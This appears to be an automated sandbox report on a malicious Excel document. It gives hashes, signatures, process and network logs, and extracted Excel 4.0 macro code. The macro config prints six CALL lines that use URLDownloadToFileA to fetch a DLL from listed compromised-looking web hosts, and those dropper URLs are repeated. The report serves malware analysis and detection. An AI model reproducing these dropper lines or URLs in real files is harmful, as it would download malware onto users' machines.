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Overview

overview

10

Static

static

8

65a6a5d698...b4.xls

windows7-x64

10

65a6a5d698...b4.xls

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21/11/2024, 00:17 UTC

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Report Analysis Logs

General

  • Target

    65a6a5d6988fe0e1ac5a5bf6e145046f4f074ce1f459786aaac6629ec01891b4.xls

  • Size

    126KB

  • MD5

    fda0b9d321be17519d9edc011dc4b0a8

  • SHA1

    5c37cf50381e7b02f9ddcde6bc04805a71bce0a8

  • SHA256

    65a6a5d6988fe0e1ac5a5bf6e145046f4f074ce1f459786aaac6629ec01891b4

  • SHA512

    2e0d49366722a914c379c78157035c1316f8212e92edaec9df57ec100c47f3e3b3e43eff19e0d6a6a749a090fd34843a0b545144f642bd49fd9cf3850f39861c

  • SSDEEP

    3072:LsKpbdrHYrMue8q7QPX+5xtekEdi8/dgR3Syz+nzQIceCRlCd:QKpbdrHYrMue8q7QPX+5xtFEdi8/dgR8

Score
10/10
discovery

Malware Config

Extracted

Language
xlm4.0
Source
1
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/", "..\fbd.dll")
2
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://izytalab.com/includes/1mafAX0kOa/", "..\fbd.dll")
3
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://pcsolutionss.com/zSlT4HR92TiOpw5NM/", "..\fbd.dll")
4
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/", "..\fbd.dll")
5
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://wpl28.realtyna.com/wp-content/0b0ny5cPM/", "..\fbd.dll")
6
=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "http://www.efcballjoint.com/Template/AxEZPOfAa9/", "..\fbd.dll")
URLs
xlm40.dropper

http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
xlm40.dropper

http://izytalab.com/includes/1mafAX0kOa/
xlm40.dropper

https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
xlm40.dropper

http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
xlm40.dropper

https://wpl28.realtyna.com/wp-content/0b0ny5cPM/
xlm40.dropper

http://www.efcballjoint.com/Template/AxEZPOfAa9/

Signatures

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\65a6a5d6988fe0e1ac5a5bf6e145046f4f074ce1f459786aaac6629ec01891b4.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2344

Network

  • flag-us
    DNS
    med.devsrm.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    med.devsrm.com
    IN A
    Response
    med.devsrm.com
    IN A
    143.95.229.88
  • flag-us
    GET
    http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
    EXCEL.EXE
    Remote address:
    143.95.229.88:80
    Request
    GET /wp-content/gtOOTHi3zkUbn8U6/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: med.devsrm.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 21 Nov 2024 00:17:51 GMT
    Server: Apache
    Vary: accept,content-type,Accept-Encoding
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    Link: <http://aleksasphotoblog.de/wp-json/>; rel="https://api.w.org/"
    Upgrade: h2,h2c
    Connection: Upgrade, Keep-Alive
    Content-Encoding: gzip
    Keep-Alive: timeout=5, max=75
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    izytalab.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    izytalab.com
    IN A
    Response
  • flag-us
    DNS
    pcsolutionss.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    pcsolutionss.com
    IN A
    Response
    pcsolutionss.com
    IN A
    204.15.133.228
  • flag-us
    GET
    https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
    EXCEL.EXE
    Remote address:
    204.15.133.228:443
    Request
    GET /zSlT4HR92TiOpw5NM/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: pcsolutionss.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 21 Nov 2024 00:17:56 GMT
    Server: Apache
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    www.doctorcasenave.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.doctorcasenave.com
    IN A
    Response
    www.doctorcasenave.com
    IN A
    172.67.203.60
    www.doctorcasenave.com
    IN A
    104.21.44.190
  • flag-us
    GET
    http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    EXCEL.EXE
    Remote address:
    172.67.203.60:80
    Request
    GET /wp-content/O2Z1HMebIXiHYBBS/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: www.doctorcasenave.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 301 Moved Permanently
    Date: Thu, 21 Nov 2024 00:17:56 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    X-Redirect-By: WordPress
    Location: http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NsfV5OA%2B31ffY3vYmF4mudrBZdtTHxkpuuKuunAWaoyrYA5bKxMQBeIqZvkQhPg4TnOI6cBZnunmz6vWsxC0ob%2FK78qqMHxPKlCsq1JLM2bAxJkEVlDmqKnlgAqxLmHxFY8l6jKFk61V"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8e5c7fe6c8533695-LHR
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=60445&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=349&delivery_rate=0&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
  • flag-us
    DNS
    doctorcasenave.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    doctorcasenave.com
    IN A
    Response
    doctorcasenave.com
    IN A
    172.67.203.60
    doctorcasenave.com
    IN A
    104.21.44.190
  • flag-us
    GET
    http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    EXCEL.EXE
    Remote address:
    172.67.203.60:80
    Request
    GET /wp-content/O2Z1HMebIXiHYBBS/ HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Connection: Keep-Alive
    Host: doctorcasenave.com
    Response
    HTTP/1.1 404 Not Found
    Date: Thu, 21 Nov 2024 00:17:57 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    Link: <http://doctorcasenave.com/wp-json/>; rel="https://api.w.org/"
    CF-Cache-Status: DYNAMIC
    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qsYcPvUrMcWy3gQC5RPxBV2tCmrgb9VSHSmPsuj71jWALudVmkbU%2Bcy1q0%2B%2BJHr7lSwFOvjvtFySgol4wV%2FI%2Fis%2BojrP%2B2Yy7ZfT2Dpiaq3TmB2AyfXYELbT3im19n5wTuvO1yQ%3D"}],"group":"cf-nel","max_age":604800}
    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
    Server: cloudflare
    CF-RAY: 8e5c7fea2e51ef54-LHR
    Content-Encoding: gzip
    alt-svc: h3=":443"; ma=86400
    server-timing: cfL4;desc="?proto=TCP&rtt=60143&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=345&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
  • flag-us
    DNS
    wpl28.realtyna.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    wpl28.realtyna.com
    IN A
    Response
    wpl28.realtyna.com
    IN A
    54.173.39.27
  • flag-us
    DNS
    www.efcballjoint.com
    EXCEL.EXE
    Remote address:
    8.8.8.8:53
    Request
    www.efcballjoint.com
    IN A
    Response
  • flag-us
    DNS
    www.microsoft.com
    Remote address:
    8.8.8.8:53
    Request
    www.microsoft.com
    IN A
    Response
    www.microsoft.com
    IN CNAME
    www.microsoft.com-c-3.edgekey.net
    www.microsoft.com-c-3.edgekey.net
    IN CNAME
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
    IN CNAME
    e13678.dscb.akamaiedge.net
    e13678.dscb.akamaiedge.net
    IN A
    95.100.245.144
  • flag-gb
    GET
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    Remote address:
    95.100.245.144:80
    Request
    GET /pkiops/crl/MicCodSigPCA2011_2011-07-08.crl HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Sun, 18 Aug 2024 00:23:49 GMT
    User-Agent: Microsoft-CryptoAPI/6.1
    Host: www.microsoft.com
    Response
    HTTP/1.1 200 OK
    Content-Length: 1078
    Content-Type: application/octet-stream
    Content-MD5: PjrtHAukbJio72s77Ag5mA==
    Last-Modified: Thu, 31 Oct 2024 23:26:09 GMT
    ETag: 0x8DCFA0366D6C4CA
    x-ms-request-id: 7ca9c103-d01e-0016-3fee-2ba13d000000
    x-ms-version: 2009-09-19
    x-ms-lease-status: unlocked
    x-ms-blob-type: BlockBlob
    Date: Thu, 21 Nov 2024 00:18:26 GMT
    Connection: keep-alive
    TLS_version: UNKNOWN
    ms-cv: CASMicrosoftCV3b45ffe8.0
    ms-cv-esi: CASMicrosoftCV3b45ffe8.0
    X-RTag: RT
  • 143.95.229.88:80
    http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/
    http
    EXCEL.EXE
    1.4kB
     28.7kB
     22
    24

    HTTP Request

    GET http://med.devsrm.com/wp-content/gtOOTHi3zkUbn8U6/

    HTTP Response

    404
  • 204.15.133.228:443
    https://pcsolutionss.com/zSlT4HR92TiOpw5NM/
    tls, http
    EXCEL.EXE
    1.2kB
     4.8kB
     11
    9

    HTTP Request

    GET https://pcsolutionss.com/zSlT4HR92TiOpw5NM/

    HTTP Response

    404
  • 172.67.203.60:80
    http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    http
    EXCEL.EXE
    625 B
     1.1kB
     6
    4

    HTTP Request

    GET http://www.doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/

    HTTP Response

    301
  • 172.67.203.60:80
    http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/
    http
    EXCEL.EXE
    621 B
     4.2kB
     6
    5

    HTTP Request

    GET http://doctorcasenave.com/wp-content/O2Z1HMebIXiHYBBS/

    HTTP Response

    404
  • 54.173.39.27:443
    wpl28.realtyna.com
    tls
    EXCEL.EXE
    399 B
     179 B
     5
    4
  • 54.173.39.27:443
    wpl28.realtyna.com
    tls
    EXCEL.EXE
    361 B
     219 B
     5
    5
  • 54.173.39.27:443
    wpl28.realtyna.com
    tls
    EXCEL.EXE
    288 B
     219 B
     5
    5
  • 54.173.39.27:443
    wpl28.realtyna.com
    EXCEL.EXE
    190 B
     132 B
     4
    3
  • 95.100.245.144:80
    http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl
    http
    393 B
     1.7kB
     4
    4

    HTTP Request

    GET http://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl

    HTTP Response

    200
  • 8.8.8.8:53
    med.devsrm.com
    dns
    EXCEL.EXE
    60 B
     76 B
     1
    1

    DNS Request

    med.devsrm.com

    DNS Response

    143.95.229.88

  • 8.8.8.8:53
    izytalab.com
    dns
    EXCEL.EXE
    58 B
     131 B
     1
    1

    DNS Request

    izytalab.com

  • 8.8.8.8:53
    pcsolutionss.com
    dns
    EXCEL.EXE
    62 B
     78 B
     1
    1

    DNS Request

    pcsolutionss.com

    DNS Response

    204.15.133.228

  • 8.8.8.8:53
    www.doctorcasenave.com
    dns
    EXCEL.EXE
    68 B
     100 B
     1
    1

    DNS Request

    www.doctorcasenave.com

    DNS Response

    172.67.203.60
    104.21.44.190

  • 8.8.8.8:53
    doctorcasenave.com
    dns
    EXCEL.EXE
    64 B
     96 B
     1
    1

    DNS Request

    doctorcasenave.com

    DNS Response

    172.67.203.60
    104.21.44.190

  • 8.8.8.8:53
    wpl28.realtyna.com
    dns
    EXCEL.EXE
    64 B
     80 B
     1
    1

    DNS Request

    wpl28.realtyna.com

    DNS Response

    54.173.39.27

  • 8.8.8.8:53
    www.efcballjoint.com
    dns
    EXCEL.EXE
    66 B
     139 B
     1
    1

    DNS Request

    www.efcballjoint.com

  • 8.8.8.8:53
    www.microsoft.com
    dns
    63 B
     230 B
     1
    1

    DNS Request

    www.microsoft.com

    DNS Response

    95.100.245.144

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabEE77.tmp
    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\TarEEA9.tmp
    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    Download Submit

  • memory/2344-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2344-1-0x000000007284D000-0x0000000072858000-memory.dmp

    Filesize

    44KB

    Download

  • memory/2344-52-0x000000007284D000-0x0000000072858000-memory.dmp

    Filesize

    44KB

    Download

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